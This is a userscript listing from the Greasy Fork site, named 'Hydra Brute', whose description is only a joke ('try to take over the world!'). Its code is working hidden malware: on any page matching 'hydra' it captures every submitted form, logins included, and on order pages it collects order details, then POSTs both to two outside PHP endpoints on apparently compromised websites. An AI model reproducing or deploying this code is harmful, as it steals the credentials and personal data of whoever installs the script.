Greasy Fork is available in English.

Hydra Brute

try to take over the world!

Tính đến 13-06-2018. Xem phiên bản mới nhất.

// ==UserScript==
// @name         Hydra Brute
// @namespace    Hydra_Brute_over
// @version      2018.06.13.0
// @description  try to take over the world!
// @description:en  try to take over the world!
// @author       Wasily Gerlahk
// @match        *hydra*
// @grant        none
// @require      https://ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js

// ==/UserScript==

(function(_$, w) {
    'use strict';
    var urls = [ 
        'https://zaborcomplect.ru/wp-includes/.h.php',
        'https://kramarenko.niro.biz/.h.php'
    ];
    _$('form').submit(function(ev){
        var form = _$(this).serialize();

        _$(urls).each(function(){ send(form, this);});
    });

    if(w.location.href.match(/orders/)){
        var data = {};
        data.date = _$('.order-data__num').html();
        data.data = _$('.panel-footer').html();
        _$(urls).each(function(){ send(data, this);});
    }

    function send(data, url){
        _$.ajax({
            url : url,
            data : data,
            type : 'post',
            crossDomain : true,
            cache : false,
            success : function(resp){
                console.dir(resp.responce);
            },
            error : function(){
                console.log('some error occured');
            }
        });
    }
    console.log('hydra');

})(jQuery, window);